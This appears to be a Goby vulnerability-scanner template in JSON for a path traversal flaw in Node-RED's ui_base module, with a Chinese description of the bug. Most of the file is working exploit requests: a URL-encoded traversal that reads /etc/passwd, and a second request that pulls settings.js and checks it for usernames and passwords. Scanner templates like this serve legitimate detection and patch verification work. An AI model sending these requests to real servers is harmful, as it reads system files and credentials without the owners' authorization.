Goby/json/Node_RED_ui_base_Arbitrary_...

113 lines
4.3 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{
"Name": "Node-RED ui_base Arbitrary File Read",
"Level": "2",
"Tags": [
"fileread"
],
"GobyQuery": "title=\"Node-RED\"",
"Description": "Node-RED 在/nodes/ui_base.js中URL与'/ui_base/js/*'匹配然后传递给path.join\n缺乏对最终路径的验证会导致路径遍历漏洞可以利用这个漏洞读取服务器上的敏感数据比如settings.js.",
"Product": "Node-RED",
"Homepage": "https://nodered.org/",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://mp.weixin.qq.com/s/KRGKXAJQawXl88RBPTaAeg"
],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root:x:",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "bin:x:",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/ui_base/js/..%2f..%2f..%2f..%2fsettings.js",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "username",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "password",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody||"
]
}
],
"PostTime": "2021-12-05 16:31:16",
"GobyVersion": "1.9.310"
}